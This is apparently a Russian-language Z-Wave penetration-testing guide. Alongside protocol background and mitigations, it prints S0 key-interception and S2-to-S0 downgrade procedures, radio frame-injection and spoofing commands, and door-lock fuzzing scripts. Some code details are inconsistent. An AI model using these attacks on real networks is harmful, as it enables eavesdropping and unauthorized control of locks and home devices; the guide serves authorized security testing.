Комплексный фреймворк для пентеста Z-Wave сетей. Объединяет gnuradio, gr-osmosdr, EZ-Wave, waving-z и другие утилиты в единый workflow. Документирует атаки Z-Shave (даунгрейд S2 → S0), NonceGet DoS, перехват сопряжения (inclusion sniffing) и брутфорс сетевых ключей. Содержит готовые flowgraph-файлы GNU Radio для пассивного сниффинга Z-Wave 868/908 МГц с помощью RTL-SDR или HackRF.
git clone https://github.com/Shadow7726/Z-Wave-PT cd Z-Wave-PT pip install -r requirements.txt # GNU Radio + gr-osmosdr для SDR-сниффинга # Z-Wave USB dongle для активных атак # Документация по атакам: cat zwave-vulnerabilities.md
⚠️ Правовое отказ: Это руководство предназначено исключительно для авторизованных исследователей безопасности, специалистов по безопасности IoT и разработчиков, проводящих оценку оборудования и сетей, которыми они владеют или имеют письменное разрешение на тестирование. Несанкционированное перехват, глушение или инъекция сигналов Z-Wave может нарушить Закон о мошенничестве и злоупотреблениях в компьютерах (CFAA), Закон об электронной конфиденциальности коммуникаций (ECPA), постановления FCC и аналогичные законы вашей юрисдикции. Всегда получайте письменное разрешение перед тестированием. Этот документ ссылается на публично раскрытые, рецензируемые исследования из DEF CON, Black Hat, Pen Test Partners и академических учреждений.
Z-Wave — это энергоэффективный беспроводной протокол mesh-сети с частотой ниже 1 ГГц, разработанный специально для умных домов и автоматизации зданий. Он был первоначально разработан компанией Zensys в 1999 году, приобретен Sigma Designs в 2008 году, а затем Silicon Laboratories (Silicon Labs) в 2018 году. В 2022 году Silicon Labs сделала спецификацию Z-Wave открытой, а Z-Wave Alliance стала Organization for Development of Standards (SDO).
Ключевые отличительные характеристики: - Радиочастота ниже 1 ГГц (менее загружена, чем 2.4 ГГц Wi-Fi/Bluetooth/Zigbee) - Проприетарный протокол mesh-сети (ратифицированный стандарт ITU G.9959) - Требуется аппаратная сертификация совместимости - Максимум 232 узла в сети (NodeID — 8-битный, 1–232) - Дальность: 30м в помещении, 100м на улице, до 4 км и более с Z-Wave Long Range (ZWLR)
| Регион | Частота | Примечания |
|---|---|---|
| США/Канада | 908.42 МГц | Основной канал |
| Европа (ЕС) | 868.42 МГц | Основной; ZWLR-EU перейдет на 864/866 МГц по ETSI (2025) |
| Австралия/НЗ | 921.42 МГц | |
| Япония | 922.5 / 923.9 / 926.3 МГц | 3-канальная система |
| Индия | 865.2 МГц | |
| Россия | 869.0 МГц | |
| Израиль | 916.0 МГц | |
| Гонконг | 919.82 МГц | |
| Z-Wave Long Range (США) | 912.0 МГц / 920.0 МГц | Канал A и B |
| Z-Wave Long Range (ЕС) | 864.0 МГц / 866.0 МГц | Переход согласно спецификации 2024B-3 |
Заметка для тестировщика: Тестирование на неправильной частоте не даст результатов. Узнайте целевую географию перед настройкой SDR.
┌──────────────────────────────────────────────────────┐
│ Application Layer │ Command Classes (CCs) │
│ │ e.g., SWITCH_BINARY, DOOR_LOCK │
├──────────────────────────────────────────────────────┤
│ Security Layer │ S0 (AES-128 OFB/CBC-MAC) │
│ │ S2 (ECDH + AES-128 CCM) │
│ │ SPAN (Singlecast Pre-shared │
│ │ Absolute Nonce) │
├──────────────────────────────────────────────────────┤
│ Transport Layer │ Sequencing, fragmentation, │
│ │ acknowledgement (ACK) │
├──────────────────────────────────────────────────────┤
│ Network Layer │ HomeID + NodeID routing, │
│ │ mesh path calculation │
├──────────────────────────────────────────────────────┤
│ MAC Layer │ Frame construction, CRC, │
│ │ CSMA/CA channel access │
├──────────────────────────────────────────────────────┤
│ Physical Layer │ FSK modulation, 9.6/40/100 kbps │
│ │ Manchester encoding (Gen 1-4) │
│ │ Z-Wave LR: OFDM, up to 100 kbps │
└──────────────────────────────────────────────────────┘
0 1 2 3 4 5 6+ Last 2
┌─────────┬─────────┬─────────┬─────────┬────┬─────────┬───────┬──────┐
│ HomeID │ Src │ Frame │ Length │Dst │ Payload │ ... │ CRC │
│ 4 bytes │ NodeID │ Control │ 1 byte │ID │ │ │2 byte│
│ │ 1 byte │ 2 bytes │ │ │ │ │ │
└─────────┴─────────┴─────────┴─────────┴────┴─────────┴───────┴──────┘
HomeID: 4-байтный уникальный идентификатор для каждой сети Z-Wave — критически важен для наведения NodeID: 8-битный (1–232) — идентифицирует каждое устройство в сети Управление фреймом: Флаг маршрутизированного/немаршрутизированного, необходимость подтверждения, биты скорости CRC: 2-байтная контрольная сумма на весь фрейм; поддельные фреймы, не прошедшие проверку CRC, отбрасываются
| Поколение | Модуляция | Скорость передачи данных | Примечания |
|---|---|---|---|
| Gen 1-2 | FSK (R1) | 9.6 кбит/с | Устаревшая, все еще используется |
| Gen 3 | FSK (R2) | 40 кбит/с | Улучшенная дальность |
| Gen 4-5 | FSK (R3) | 100 кбит/с | Чипы серии 500 |
| Gen 6+ (серии 700/800) | FSK | 100 кбит/с | Улучшенное управление питанием |
| Z-Wave Long Range | OFDM | до 100 кбит/с | Дальность 4 км и более |
Классы команд определяют функциональность, предоставляемую каждым устройством. Тестировщикам необходимо понимать их для создания осмысленных атак.
Высокоценные/высокорисковые классы команд (CC) для тестирования на проникновение:
| Класс команд | Hex | Назначение | Риск |
|---|---|---|---|
| COMMAND_CLASS_DOOR_LOCK | 0x62 | Блокировка/разблокировка дверей | КРИТИЧЕСКИЙ |
| COMMAND_CLASS_SECURITY | 0x98 | Инкапсуляция безопасности S0 | ВЫСОКИЙ |
| COMMAND_CLASS_SECURITY_2 | 0x9F | Инкапсуляция безопасности S2 | ВЫСОКИЙ |
| COMMAND_CLASS_ALARM | 0x71 | Статус сигнала безопасности | ВЫСОКИЙ |
| COMMAND_CLASS_SWITCH_BINARY | 0x25 | Управление вкл/выкл | СРЕДНИЙ |
| COMMAND_CLASS_THERMOSTAT_MODE | 0x40 | Управление HVAC | СРЕДНИЙ |
| COMMAND_CLASS_FIRMWARE_UPDATE_MD | 0x7A | OTA-обновления прошивки | ВЫСОКИЙ |
| COMMAND_CLASS_INCLUSION_CONTROLLER | 0x74 | Включение узла | ВЫСОКИЙ |
| COMMAND_CLASS_NETWORK_MANAGEMENT | 0x34 | Топология сети | ВЫСОКИЙ |
| COMMAND_CLASS_USER_CREDENTIAL | 0x83 | Управление PIN/учетными данными (2024A) | КРИТИЧЕСКИЙ |
| COMMAND_CLASS_ASSOCIATION | 0x85 | Ассоциации устройств | СРЕДНИЙ |
| COMMAND_CLASS_MULTI_CHANNEL | 0x60 | Многоконечностные устройства | НИЗКИЙ |
| COMMAND_CLASS_BASIC | 0x20 | Базовое вкл/выкл (без аутентификации) | СРЕДНИЙ |
| COMMAND_CLASS_MANUFACTURER_SPECIFIC | 0x72 | Информация об устройстве (без аутентификации) | ИНФОРМАЦИЯ |
| COMMAND_CLASS_VERSION | 0x86 | Версии прошивки (без аутентификации) | ИНФОРМАЦИЯ |
Основной контроллер (NodeID 1): - «Мозг» — назначает NodeID, хранит таблицы маршрутизации - Только один основной контроллер на HomeID - Компрометация основного контроллера = полный захват сети - Примеры: Хабы Z-Wave (SmartThings, Vera, Home Assistant с USB-стиком)
Вторичный контроллер: - Может маршрутизировать и управлять устройствами, но не может назначать NodeID - Редко используется в потребительских установках
Маршрутизирующее ведомое / Конечное устройство: - Датчик, актуатор (замок, выключатель, термостат) - Может передавать трафик (маршрутизирующее ведомое) или только общаться с контроллером (чистое ведомое) - Устройства с батарейным питанием переходят в спящий режим и используют Wakeup CC
Контроллер моста: - Используется для конфигураций шлюзов Z/IP (Z-Wave поверх IP) - Выводит сеть Z-Wave в IP-сеть — важная точка перехвата
Z-Wave использует маршрутизацию по источнику — контроллер вычисляет маршрут и встраивает его в фрейм. Каждый пакет может пройти до 4 хопов. Тестировщик, перехватывающий трафик на любом хопе, может анализировать таблицы маршрутизации.
Controller ──── Router A ──── Router B ──── Target Device
NodeID:1 NodeID:3 NodeID:7 NodeID:12
[HomeID embedded in every frame broadcast]
SmartStart (2019+): Устройства включают QR-код DSK (Device Specific Key) для автоматического, предварительно аутентифицированного включения. Если злоумышленник получает DSK, он может попытаться присоединиться как устройство во время настройки.
S0 — это рамка безопасности первого поколения Z-Wave, использующая AES-128 в режиме OFB с CBC-MAC для аутентификации.
Критическая уязвимость S0 (раскрыта в 2013 году, CVE не присвоена — проприетарный протокол):
Во время включения устройства (спаривания) сетевой ключ передается зашифрованным с использованием зашитого ключа из всех нулей:
Encryption Key for key exchange: 0x00000000000000000000000000000000
Любой злоумышленник в радиусе действия во время включения может перехватить и расшифровать обмен сетевым ключом. После получения сетевого ключа ВСЕ трафик S0 становится навсегда расшифровываемым.
Дополнительные слабости S0: - Единый сетевой ключ для всех устройств (без сегментации ключей) - Уязвимости повторного использования nonce в ранних реализациях - Нумерация сообщений не предотвращает все атаки повторного воспроизведения - Высокие накладные расходы: требует 3 фрейма на один зашифрованный прикладной фрейм (Nonce Get → Nonce Report → Зашифрованный фрейм)
S2 фундаментально переработала обмен ключами, используя: - ECDH (Эллиптическая кривая Диффи-Хеллмана): Обмен ключами невозможно перехватить пассивно - AES-128-CCM: Комбинированное шифрование + аутентификация - SPAN (Singlecast Pre-shared Absolute Nonces): Устраняет 3-кадровую рукопожатие nonce - MPAN (Multicast Pre-shared Absolute Nonces): Для multicast-трафика S2 - CTR_DRBG: Криптографически стойкая генерация псевдослучайных одноразовых кодов (нонсов)
Классы безопасности S2 (ключи управления доступом):
┌─────────────────────────────────────────────────────────────────┐
│ Security Class │ Use Case │ Risk if Obtained │
├─────────────────────────────────────────────────────────────────┤
│ S2 Access Control │ Door locks, garage doors │ CRITICAL │
│ S2 Authenticated │ Sensors with auth PIN │ HIGH │
│ S2 Unauthenticated │ Low-security devices │ MEDIUM │
│ S0 │ Legacy backward compat. │ HIGH (breakable) │
└─────────────────────────────────────────────────────────────────┘
Процесс первичной настройки S2 (Bootstrapping): 1. Контроллер инициирует включение, рассылает Add Node Start 2. Устройство отправляет NIF (Node Info Frame) — НЕШИФРОВАННЫЙ и НЕПОДТВЕРЖДЁННЫЙ 3. Обмен KEX Get/Report (согласование возможностей ключей) — НЕШИФРОВАННЫЙ 4. Обмен открытыми ключами ECDH 5. Опционально: Пользователь вводит 5-значный DSK для аутентифицированного режима 6. Ключи передаются в зашифрованном виде с использованием согласованного общего секрета ECDH
Уязвимость понижения безопасности Z-Shave: Шаг 2 не аутентифицируется. NIF, содержащий COMMAND_CLASS_SECURITY_2 (0x9F), может быть подделан злоумышленником для удаления возможности S2, принуждая к сопряжению через S0.
SmartStart позволяет выполнять нулевое касание (zero-touch) при настройке через QR-код (содержащий 128-битный DSK). Контроллер автоматически подключает устройства, когда они появляются в сети, если их DSK предварительно загружен.
Соображения безопасности SmartStart: - DSK на этикетке QR-кода — ценная цель; его фотографирование даёт права на включение - Атакующий типа "Человек посередине" (Man-in-the-Middle) во время настройки SmartStart может перехватить DSK - Риски в цепочке поставок: устройства отправляются с известными/утёкшими DSK
┌─────────────────────────────────┐
│ ATTACK SURFACE MAP │
└─────────────────────────────────┘
RF Layer ──────────────── Passive Sniffing (HomeID discovery)
Active Network Scanning (NodeID enum)
Jamming / RF Interference (DoS)
Signal Replay
Pairing/Inclusion ──────── S0 Key Interception (during pairing)
S2→S0 Downgrade (Z-Shave)
SmartStart DSK Theft
Rogue Controller Inclusion
Cryptographic ──────────── S0 Nonce Exhaustion
CTR_DRBG Desynchronization (S2 DoS)
Weak Nonce Prediction (legacy)
Network Key Extraction from NVRAM
Protocol Logic ─────────── Unencrypted Command Class Abuse
Node Info Spoofing
HomeID Cloning
Routing Table Poisoning
Firmware/OTA ───────────── Unsigned OTA Updates
Downgrade to Vulnerable Firmware
JTAG/UART Extraction
Gateway/IP Layer ────────── Z/IP Gateway API Exploitation
Web Interface Vulnerabilities
MQTT Broker Attacks
Z-Wave JS API Abuse
Physical ────────────────── Chip Decapping & Key Extraction
NVRAM Key Dumping
Debug Interface Abuse (JTAG/SWD)
# Install HackRF tools on Kali/Ubuntu
sudo apt-get install hackrf
hackrf_info # Verify device detection
hackrf_transfer -r capture.cs8 -f 908420000 -s 2000000 # Capture at US frequency
# Install RTL-SDR tools
sudo apt-get install rtl-sdr
rtl_test -t # Test device
rtl_sdr -f 868420000 -s 2000000 -g 25 - | ./wave-in -u # EU Z-Wave capture
pip install rfcat
rfcat -r # Interactive mode
# Then use Python to interact with Z-Wave frequencies
# Identify UZB port
ls /dev/ttyUSB* # Linux
# Use with Home Assistant / Z-Wave JS
| Инструмент | Назначение | Цена |
|---|---|---|
| J-Link Pro | Отладка JTAG/SWD, извлечение прошивки | ~$400+ |
| SEGGER J-Link EDU | JTAG для образовательных/исследовательских целей | ~$60 |
| Bus Pirate | Анализ протоколов UART/SPI/I2C | ~$30 |
| Анализатор логических сигналов (Saleae/клон) | Захват цифровых сигналов для UART/SPI | ~$15–$400 |
| Станция горячего воздуха (Hot air rework station) | Выпаивание чипов для вскрытия корпуса (decapping) | ~$50–$300 |
| Программатор CH341A | Чтение SPI/I2C flash-памяти | ~$15 |
| Raspberry Pi (любая) | Тестовый контроллер Z-Wave через RaZberry | ~$35–$80 |
Бюджетный (~$200): - RTL-SDR Blog v4 dongle (~$35) - YARD Stick One (~$100) - Aeotec Z-Stick Gen7 (~$45) - Raspberry Pi 4 (~$35) + карта SD
Профессиональный (~$700): - HackRF One × 2 (~$680) - Silicon Labs UZB-7 stick (~$50) - RaZberry Shield (~$45) - Bus Pirate (~$30) - J-Link EDU (~$60)
Исследовательского уровня (~$2,000+): - Ettus USRP B210 (~$1,119) - HackRF One (~$340) - Silicon Labs WSTK Pro Kit (~$250) - Полный набор Saleae Logic Pro 16 (~$1,000) - Все наборы для разработки Z-Wave
ezstumbler.py — Пассивное/активное обнаружение сети (HomeID, NodeIDs)ezrecon.py — Перечисление устройств, обнаружение классов команд (Command Class)ezfingerprint.py — Идентификация типа устройства# Clone and install EZ-Wave
git clone https://github.com/AFITWiSec/EZ-Wave
cd EZ-Wave
sudo ./install.sh
# Passive network stumbling (30 seconds)
python ezstumbler.py -p -t 30
# Active scan on a known HomeID
python ezstumbler.py -a -t 60 --homeid 0x1a2b3c4d
# Recon specific node
python ezrecon.py --homeid 0x1a2b3c4d --nodeid 5 -t 30
scapy/layers/ZWave.py# Example: Craft and send a Z-Wave Basic Set ON command
from scapy.all import *
load_contrib('zwave')
# Build Z-Wave frame (unencrypted BASIC SET ON to NodeID 5)
pkt = ZWave(homeid=0x1a2b3c4d, src=0x01, dst=0x05) / \
ZWaveReq(cmd_class=0x20, cmd=0x01, data=[0xFF])
# Transmit via GNU Radio socket
send(pkt)
# Build waving-z
git clone https://github.com/baol/waving-z
cd waving-z && mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Release && cmake --build .
# Receive Z-Wave frames (EU 868 MHz) with RTL-SDR
rtl_sdr -f 868420000 -s 2000000 -g 25 - | ./wave-in -u
# Capture to file for replay
rtl_sdr -f 908420000 -s 2000000 -g 40 - | ./wave-in > capture.log
# Transmit/replay Z-Wave frame with HackRF
./wave-out -p 'd6 b2 62 08 01 41 03 0d 07 25 01 ff' > frame.cs8
hackrf_transfer -t frame.cs8 -f 908420000 -s 2000000 -x 40
# Install GNU Radio on Ubuntu/Kali
sudo apt-get install gnuradio gr-osmosdr
# Run Z-Wave JS UI via Docker
docker run -it -p 8091:8091 -p 3000:3000 \
--device=/dev/ttyUSB0:/dev/ttyUSB0 \
zwavejs/zwave-js-ui:latest
# Access at http://localhost:8091
# Capture Z-Wave via pipe from waving-z / EZ-Wave
wireshark -k -i <pipe>
# Or open .pcap captured from Zniffer
# Wireshark auto-detects Z-Wave frames
# Set key for S0 decryption:
# Edit → Preferences → Protocols → Z-Wave → Network Key
Кадры Z-Wave отображаются как протокол ZWAVE в Wireshark. Набор инструментов EZ-Wave включает собственный улучшенный декодер.
# Example: Fuzz DOOR_LOCK command parameters via Z-Wave JS API
import requests
import random
base_url = "http://localhost:8091/api/zwave/nodes/5/set_value"
for i in range(1000):
payload = {"commandClassName": "Door Lock",
"value": random.randint(0, 255)}
requests.post(base_url, json=payload)
# Fuzz frame lengths and payloads
from scapy.all import *
load_contrib('zwave')
for cmd_class in range(0x00, 0xFF):
for cmd in range(0x00, 0xFF):
pkt = ZWave(homeid=TARGET_HOMEID, src=0x01, dst=TARGET_NODE) / \
ZWaveReq(cmd_class=cmd_class, cmd=cmd, data=[0x00])
send(pkt)
| Инструмент | Назначение | URL |
|---|---|---|
| Gqrx | Визуализация спектра SDR | https://gqrx.dk |
| SDR# (SDRSharp) | Анализ SDR в Windows | https://airspy.com/download/ |
| Universal Radio Hacker (URH) | Анализ и реверс-инженерия протоколов RF | https://github.com/jopohl/urh |
| rfcat | Python-библиотека для YARD Stick One | https://github.com/atlas0fd00m/rfcat |
| Z-Wave Alliance CTT | Официальный инструмент тестирования на соответствие | https://z-wavealliance.org |
| Simplicity Studio | IDE от Silicon Labs с SDK для Z-Wave | https://www.silabs.com/developers/simplicity-studio |
| Binwalk | Анализ/извлечение прошивок | https://github.com/ReFirmLabs/binwalk |
| Firmwalker | Сканер безопасности прошивок | https://github.com/craigz28/firmwalker |
| checksec | Анализ укрепления бинарных файлов | https://github.com/slimm609/checksec.sh |
Перед любым пентестом Z-Wave получите письменное разрешение, включающее:
[ ] Written authorization from device/network owner
[ ] Defined HomeIDs / network boundaries in scope
[ ] Physical locations where RF testing is permitted
[ ] Time windows for active testing
[ ] Exclusions (e.g., do not test door locks during occupied hours)
[ ] Emergency stop procedure
[ ] Data handling agreement for captured traffic
[ ] Notification to building management if required
[ ] Frequency licensing confirmation (FCC Part 15 in US = unlicensed, testing OK on own equipment)
[ ] Legal review of jurisdiction-specific regulations
Используйте модель STRIDE, примененную к Z-Wave:
| Категория STRIDE | Угроза для Z-Wave |
|---|---|
| Подделка (S) | Клонирование HomeID/NodeID, поддельный контроллер |
| Искажение (T) | Инъекция команд, модификация прошивки |
| Отрицание (R) | Неприписываемые команды RF |
| Разглашение (I) | Перехват ключа S0, перехват трафика |
| Отказ в обслуживании (D) | Затопление NonceGet, глушение RF |
| Повышение привилегий (E) | Понижение S2→S0, получение роли основного контроллера |
Перед активным тестированием соберите:
- Поиск по FCC ID: Ищите целевое устройство на https://fccid.io — покажет внутренние фото, фрагменты схем, отчеты об испытаниях, используемую частоту RF.
- База данных устройств Z-Wave: https://products.z-wavealliance.org — покажет все сертифицированные устройства, их поддерживаемые командные классы, уровни безопасности.
- База данных CVE: Ищите z-wave на https://cve.mitre.org и https://nvd.nist.gov.
- Отчеты поставщиков о безопасности: Проверяйте сайты производителей на наличие известных уязвимостей прошивок.
- База данных устройств Z-Wave JS: https://devices.z-wave-js.io — данные для идентификации.
Аппаратная настройка (RTL-SDR, только прием, скрытный режим):
# Step 1: Determine regional frequency
# US: 908.42 MHz | EU: 868.42 MHz | AU: 921.42 MHz
# Step 2: Capture raw IQ samples
rtl_sdr -f 908420000 -s 2000000 -g 40 capture.raw
# Step 3: Pipe to Z-Wave decoder
rtl_sdr -f 908420000 -s 2000000 -g 40 - | ./wave-in -u | tee zwave_capture.txt
# Step 4: Visualize spectrum
gqrx # Tune to 908.42 MHz, zoom into Z-Wave channels
Аппаратная настройка (HackRF One):
# Capture at higher sample rate for analysis
hackrf_transfer -r capture.cs8 -f 908420000 -s 8000000 -l 32 -g 40
# Pipe directly to decoder
hackrf_transfer -r /dev/stdout -f 908420000 -s 2000000 2>/dev/null | \
./wave-in -u | tee zwave_frames.txt
Каждый кадр Z-Wave раскрывает:
- HomeID — Идентифицирует целевую сеть (4 байта, например, 0x1A2B3C4D).
- Source NodeID — Узел-источник.
- Destination NodeID — Целевой узел (или широковещательный 0xFF).
- Command Class + Command — Какое действие выполняется.
- Обертка безопасности — Является ли кадр S0, S2 или нешифрованным.
Высокоценные кадры для идентификации:
Unencrypted COMMAND_CLASS_DOOR_LOCK → Device not using security!
COMMAND_CLASS_SECURITY (0x98) → S0 device present
COMMAND_CLASS_SECURITY_2 (0x9F) → S2 device present
Node Info Frame during inclusion → Device capabilities exposed
Nonce Get/Report frames → S0 nonce exchange (sniff for key replay)
cd EZ-Wave
# Passive scan — just listen, don't transmit
python ezstumbler.py --passive --timeout 120
# Output example:
# [+] Discovered HomeID: 0x1a2b3c4d
# [+] NodeID 1 (Controller) detected
# [+] NodeID 5 detected (COMMAND_CLASS_DOOR_LOCK)
# [+] NodeID 7 detected (COMMAND_CLASS_SWITCH_BINARY)
| TC-001 | Пассивная идентификация HomeID |
|---|---|
| Цель | Идентифицировать все HomeID сетей Z-Wave в радиусе действия RF |
| Метод | Пассивный захват данных SDR — без передачи |
| Инструмент | waving-z + RTL-SDR ИЛИ пассивный режим EZ-Wave |
| Ожидаемый результат | HomeID, активные NodeID, шаблоны трафика |
| Риск | Сбор информации — позволяет все последующие атаки |
| Критерий успеха | Тестер может идентифицировать целевой HomeID в течение 60 секунд |
| TC-002 | Обнаружение нешифрованного трафика |
|---|---|
| Цель | Идентифицировать устройства, отправляющие нешифрованные команды |
| Метод | Захват и разбор всех кадров; флагирование кадров без обертки S0/S2 |
| Инструмент | Z-Wave Zniffer ИЛИ waving-z + Wireshark |
| Ожидаемый результат | Кадры BASIC, MANUFACTURER_SPECIFIC, VERSION всегда нешифрованы |
| Риск | Идентификация устройства; нешифрованные команды актуаторов |
| Критерий успеха | Все команды актуаторов (DOOR_LOCK, SWITCH) используют обертку безопасности |
# Active stumbler — transmits probe frames to discover nodes
python ezstumbler.py --active --timeout 60 --homeid 0x1a2b3c4d
# Recon specific node for Command Class enumeration
python ezrecon.py --homeid 0x1a2b3c4d --nodeid 5 --timeout 30
# Expected output:
# [+] NodeID 5: COMMAND_CLASS_DOOR_LOCK (0x62)
# [+] NodeID 5: COMMAND_CLASS_SECURITY_2 (0x9F)
# [+] NodeID 5: COMMAND_CLASS_MANUFACTURER_SPECIFIC (0x72)
# [+] NodeID 5: Manufacturer: Yale | Product: Conexis L1
Кадр информации об узле (NIF) всегда нешифрован и раскрывает: - Все поддерживаемые командные классы. - Роль устройства (контроллер, маршрутизирующий ведомый и т.д.). - Поддерживаемые скорости передачи данных. - Возможности класса безопасности.
Устройство, обозначающее 0x9F (COMMAND_CLASS_SECURITY_2) в своем NIF без надлежащего применения, является целью для атаки понижения.
// Using Z-Wave JS REST API for authorized node interrogation
const axios = require('axios');
async function enumerateNode(nodeId) {
const response = await axios.get(
`http://localhost:8091/api/zwave/nodes/${nodeId}`
);
console.log('Node capabilities:', response.data);
console.log('Command Classes:', response.data.commandClasses);
console.log('Security class:', response.data.securityClasses);
}
enumerateNode(5);
| TC-003 | Активное перечисление узлов |
|---|---|
| Цель | Картирование всех NodeID и типов устройств в целевой сети |
| Метод | Активное сканирование с использованием EZ-Wave или авторизованного контроллера Z-Wave |
| Инструмент | EZ-Wave ezstumbler.py -a, API Z-Wave JS |
| Ожидаемый результат | Полная карта узлов с типами устройств |
| Риск | Позволяет целенаправленную атаку на устройства с наибольшей ценностью |
| Критерий успеха | Тестер создает полную карту сети в рамках тестового окна |
| TC-004 | Перечисление нешифрованных командных классов |
|---|---|
| Цель | Идентифицировать возможности устройства через нешифрованный NIF |
| Метод | Инициирование/перехват кадров информации об узле |
| Инструмент | EZ-Wave ezrecon.py, Z-Wave Zniffer |
| Ожидаемый результат | Полный список CC, включая возможности безопасности |
| Риск | Раскрывает поверхность атаки до любой аутентифицированной взаимодействия |
| Уязвимость | NIF определен спецификацией как неаутентифицированный — неустранимая слабость |
Предварительные условия: Целевое устройство использует безопасность S0; злоумышленник должен присутствовать во время включения устройства (сопряжения).
Ход атаки:
1. Attacker positions within RF range of target
2. Legitimate user begins device pairing (inclusion mode)
3. Controller sends "Add Node Start" broadcast
4. Device responds with NIF (unencrypted)
5. Controller sends Security_Commands_Supported_Get (0x98 0x02)
6. Device responds with Security_Commands_Supported_Report
7. *** VULNERABLE EXCHANGE BEGINS ***
8. Controller sends Security_Network_Key_Set encrypted with 0x0000000000000000
9. Device responds with Security_Network_Key_Verify
10. Attacker captures frames 8-9 and decrypts using known key 0x0000000000000000
11. Network key extracted → all future S0 traffic decryptable
Реализация с Scapy-radio:
# S0 Key Exchange Sniffer
from scapy.all import *
load_contrib('zwave')
S0_DEFAULT_KEY = bytes(16) # All zeros: 0x00000000000000000000000000000000
def process_frame(pkt):
if ZWave in pkt:
if hasattr(pkt, 'cmd_class') and pkt.cmd_class == 0x98: # S0
if hasattr(pkt, 'cmd') and pkt.cmd == 0x06: # Network Key Set
print("[!] S0 Key Exchange Detected!")
# Decrypt using hardcoded zero key
encrypted_data = pkt.data
# AES-OFB decryption with zero key
from Crypto.Cipher import AES
cipher = AES.new(S0_DEFAULT_KEY, AES.MODE_OFB, iv=bytes(16))
network_key = cipher.decrypt(bytes(encrypted_data))
print(f"[+] NETWORK KEY: {network_key.hex()}")
sniff(prn=process_frame)
Z-Wave Zniffer для расшифровки S0: 1. Откройте Z-Wave Zniffer. 2. Перейдите в Tools → Network Key → Введите захваченный сетевой ключ. 3. Все последующие кадры S0 автоматически расшифровываются в реальном времени.
Обнаружена: Pen Test Partners (Andrew Tierney, Ken Munro) — 2018
CVE: Не присвоен формально (слабость в проприетарной спецификации протокола)
Затронуты: Все устройства Z-Wave, поддерживающие как S0, так и S2 (~100M+ устройств на 2018 год)
Раскрыта в: Блоге Pen Test Partners + DEF CON / Hardwear.io
Ход атаки (выявлены 3 метода):
Метод 1: Подделка NIF (Удаление COMMAND_CLASS_SECURITY_2)
1. Legitimate user initiates device inclusion
2. Device broadcasts NIF containing 0x9F (COMMAND_CLASS_SECURITY_2)
3. ATTACKER transmits spoofed NIF from device's NodeID WITHOUT 0x9F
4. Controller receives spoofed NIF, believes device is S0-only
5. Controller initiates S0 key exchange (using 0x0000000000000000)
6. Attacker captures and decrypts network key
7. Attacker has permanent access to all device communications
Метод 2: Манипуляция отчетом KEX
1. Intercept the KEX_REPORT frame (key capability negotiation)
2. Downgrade requested security class in KEX_REPORT to S0
3. Controller accepts S0 pairing
Метод 3: Тайминг окна включения
1. Jam the S2 KEX frames to cause timeout
2. Controller falls back to S0
Реализация с EZ-Wave:
# EZ-Wave S2 Downgrade (ezattack script)
# This requires being within RF range during the exact inclusion window
python ezattack.py --homeid 0x1a2b3c4d --attack downgrade \
--target-node 5 --listen-timeout 120
# The tool will:
# 1. Monitor for inclusion traffic
# 2. Intercept the NIF
# 3. Retransmit modified NIF without COMMAND_CLASS_SECURITY_2
# 4. Monitor for S0 key exchange
# 5. Extract and display the network key
Меры смягчения: Принудительно используйте включение только через S2 (без отката на S0); громко оповещайте пользователя при понижении; используйте верификацию DSK по QR-коду для всех включений S2.
Атака: Если злоумышленник фотографирует или получает 128-битный DSK с QR-кода на устройстве, он может: 1. Предварительно настроить свой вредоносный контроллер с помощью DSK. 2. Когда устройство включается впервые, контроллер злоумышленника может включить его раньше легитимного контроллера.
# Decode QR code to extract DSK
# QR format: ZW:${DSK}${ProductType}${ProductID}${MaxInclusionInterval}${UUID16}
# DSK is the first 128 bits (32 hex characters)
# Using zxing or similar:
zbarimg device_qr_code.jpg
# Output: ZW:12345-67890-... (DSK visible)
| TC-005 | Перехват ключа S0 во время включения |
|---|---|
| Цель | Перехват сетевого ключа при включении устройства S0 |
| Предпосылки | Устройство S0; присутствие злоумышленника во время сопряжения |
| Метод | Пассивный перехват трафика включения; AES-дешифровка с нулевым ключом |
| Инструмент | EZ-Wave, Z-Wave Zniffer, пользовательский скрипт на Scapy |
| Ожидаемая находка | Сетевой ключ в открытом виде |
| Оценка CVSS | 8.1 (Высокий) — требуется физическая близость во время сопряжения |
| Устранение | Обновление до S2; исключение устройств S0 |
| TC-006 | Атака понижения версии S2→S0 (Z-Shave) |
|---|---|
| Цель | Заставить устройство с поддержкой S2 выполнить сопряжение, используя S0 |
| Предпосылки | Возможность активной инъекции в эфир (HackRF One) |
| Метод | Подмена NIF с удалением COMMAND_CLASS_SECURITY_2 во окно включения |
| Инструмент | EZ-Wave ezattack, пользовательский скрипт Scapy-radio |
| Ожидаемая находка | Устройство сопряжено с использованием S0; сетевой ключ доступен |
| Оценка CVSS | 8.3 (Высокий) — требуется близость во время определенного окна |
| Устранение | Отключение обратной совместимости S0; обязательная верификация DSK |
| TC-007 | Компрометация DSK SmartStart |
|---|---|
| Цель | Получение DSK с физической этикетки или цепочки поставок |
| Метод | Физический доступ к упаковке устройства; сканирование QR-кода |
| Инструмент | Камера смартфона, декодер QR |
| Ожидаемая находка | Получен 128-битный DSK |
| Риск | Позволяет мошенническое включение устройства |
| Устранение | Защита этикетки DSK; реализация вторичной внебандовой верификации |
Если злоумышленник получает действительный HomeID (путем перехопа), он может попытаться передавать кадры с подмененным NodeID в этой сети. Контроллер будет отклонять неизвестные NodeID, но непостроенные широковещательные кадры и некоторые управляющие кадры могут быть обработаны.
# Inject a broadcast command to HomeID 0x1a2b3c4d
./wave-out -p '1a 2b 3c 4d 01 09 00 09 ff 20 01 ff' > broadcast_on.cs8
hackrf_transfer -t broadcast_on.cs8 -f 908420000 -s 2000000 -x 40
# 1a2b3c4d = HomeID
# 01 = Source NodeID (controller)
# 09 = Frame control
# 00 = Sequence number
# 09 = Length
# ff = Destination (broadcast)
# 20 01 ff = BASIC SET 0xFF (ON)
Рассылка подмененного NIF от легитимного NodeID для запутывания контроллера относительно возможностей устройства.
from scapy.all import *
load_contrib('zwave')
# Spoof NIF claiming to be NodeID 5 with different capabilities
spoofed_nif = ZWave(homeid=TARGET_HOMEID, src=5, dst=0xFF) / \
ZWaveNIF(cmd_class_list=[0x20, 0x25, 0x72]) # Remove SECURITY_2
sendp(spoofed_nif, iface='hackrf0')
Путем внедрения искаженных маршрутизирующих сообщений злоумышленник может изменить способ маршрутизации сообщений через mesh-сеть, обеспечивая перехоп на определенных узлах или изоляцию устройств.
